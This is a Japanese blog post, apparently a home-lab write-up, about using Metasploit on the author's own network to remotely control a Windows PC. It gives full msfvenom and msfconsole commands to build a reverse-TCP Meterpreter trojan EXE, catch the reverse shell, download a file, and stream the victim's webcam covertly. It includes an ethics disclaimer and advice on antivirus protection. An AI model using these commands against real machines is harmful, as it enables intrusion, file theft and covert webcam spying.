Z○○mとか色々流行ってるらしい
最近リモートワークとか何とかでWebカメラが注目されていますね.
しかし,例えばコンピュータがマルウェアに感染している等不適切な状態で使用すればプライベートや機密情報が筒抜けになってしまう恐れがあります.
ということでMetasploitを用いたWebカメラの遠隔操作の実験をやってみました.
この本を参考にしました.とても面白い本なのでおすすめです.
https://www.shoeisha.co.jp/book/detail/9784798155302
IPUSIRON,『ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習』,株式会社翔泳社,2018年
これはセキュリティの知識を深めるための実験であり,犯罪行為を唆すものではありません.実験する際は必ず自分が管理する機器を用いてください.自分のものではないネットワークに対しこのようなことを行うのは非倫理的かつ犯罪であり,厳しく罰せられるべきです.
実験環境
- ルータ(アクセスポイント)
- 以下2台のパソコンを接続
- Windowsパソコン
- 攻撃用パソコン
最終的にこんな感じになる↓
ペイロードの作成
シェルコードを含んだプログラムを作ります.
攻撃用パソコンの端末でmsfvenom -p [ペイロード] LHOST=[攻撃用パソコンのIP] -f [出力ファイル形式] -o [出力ファイル]
を実行します.
今回,ペイロードはwindows/x64/meterpreter/reverse_tcp,攻撃用パソコンのIPアドレスは192.168.1.123,出力ファイル形式はexe,出力ファイル名は~/ayashii.exeとします.
> msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 -f exe -o ~/ayashii.exe
ホームディレクトリにayashii.exeが出力されます.このEXEをClamAV等のアンチウィルスソフトで検査するとトロイの木馬判定をくらいます.
ペイロードをWindowsパソコンで実行する
まず,ayashii.exeをWindowsパソコンに保存します.ファイル共有でもNASでもUSBメモリでも構いませんが,リアルタイム保護を無効化していないと保存の時点で弾かれます.
実験ではC:\User\user\Desktop\folderに保存しました.
さて,保存したayashii.exeを実行します.何も起こらないか,あるいは一瞬だけ何かのウィンドウが開いてまた消えます.
リバースコネクトを待ち受ける
攻撃用パソコンでMetasploitを使用します.
端末でmsfconsole
を実行すると,少々時間が掛かるかもしれませんがMetasploitが起動して楽しいバナーアスキーアートとmsfプロンプトが表示されます.
モジュールの設定
ハンドラモジュールexploit/multi/handlerを実行します.
msf > use exploit/multi/handler
ペイロードの指定
Meterpreterセッション確立するためのペイロードとしてwindows/x64/meterpreter/reverse_tcpを指定します.
msf > set payload windows/x64/meterpreter/reverse_tcp
IPアドレス・ポート番号の設定
攻撃用パソコンのIPアドレスを192.168.1.123,使用するポート番号を4444に設定します.
msf > set LHOST 192.168.1.123
msf > set LPORT 4444
実行!
設定したハンドラを実行します.
msf > exploit
ayashii.exeを実行していれば,セッションが確立されMeterpreterプロンプトが表示されると思います.表示されない場合もう一度Windowsパソコンでayashii.exeを実行してみます.
ファイルを盗んでみる
Windowsパソコンの操作を奪いました.したがって以降は全て攻撃用パソコンのMeterpreterプロンプトで操作します.
カレントディレクトリを表示する
カレントディレクトリを調べます.Linuxのコマンドと同様にpwdで出力されます.
meterpreter > pwd
実験ではayashii.exeを保存したC:\User\user\Desktop\folderが表示されました.
カレントディレクトリの中身を覗く
これもLinuxコマンドと同じくlsで可能です.
meterpreter > ls
実験ではayashii.exeとsecret.txtが表示されました.
ファイルをダウンロードする
downloadコマンドでファイルを保存できます.試しにsecret.txtを盗んでみます.
meterpreter > download secret.txt
C:\User\user\Desktop\folder\secret.txtが攻撃用パソコンのホームディレクトリに保存されました.
~/secret.txtをVimで開いてみました.
Webカメラで盗撮してみる
Webカメラを遠隔操作してみます.
有効なWebカメラがあるか確認する
当然ですがWindowsパソコンにWebカメラが無ければ操作できるはずがありません.Meterpreterプロンプトでwebcam_list
を実行します.存在すればリストアップされるし,無ければ無いと言われます.
meterpreter > webcam_list
実験に使用したWindowsパソコンの構成は以下のようであるため,2つのWebカメラが検出されました.
Webカメラで盗撮する.
Webカメラのストリーム映像を表示するには,webcam_stream -i [Webカメラの番号]
を実行します.
今回の実験ではUSB接続のカメラのデータを見たいため[Webカメラの番号]に2を指定しましたが,デフォルトでは1です.
meterpreter > webcam_stream -i 2
以上を実行するとWebブラウザが開きストリーム映像が出力されます.
エラーが起こる場合はcheeseをインストールすると解決するかもしれません.cheeseはGnome向けのカメラアプリです.
おわり
Webカメラを遠隔操作する実験をやってみました.WindowsパソコンからしてみればアヤシイEXEファイルを実行しただけで盗撮されてしまうので恐ろしいことこの上ないですね.
さて,今回の実験は「ハッキング・ラボの作り方」という書籍を参考に行いました.しかし書籍と異なりペイロードの自動起動を有効にしてバックドアを設置する手順は省略しました.というのも,Windows10ではWindows Defenderのリアルタイム保護を無効に設定しても,一度電源を落とすと自動的に有効になってしまうからです.つまり,実験終了後にパソコンを再起動して再びayashii.exeを実行するとWindows Defenderのアラートが出ると考えられます.
Windowsパソコンを使う際は,必ず何らかのウィルス対策を講じて,不審なプログラムは実行しないようにしましょう.
次回は権限昇格とかパスワードの解析とかやるかも.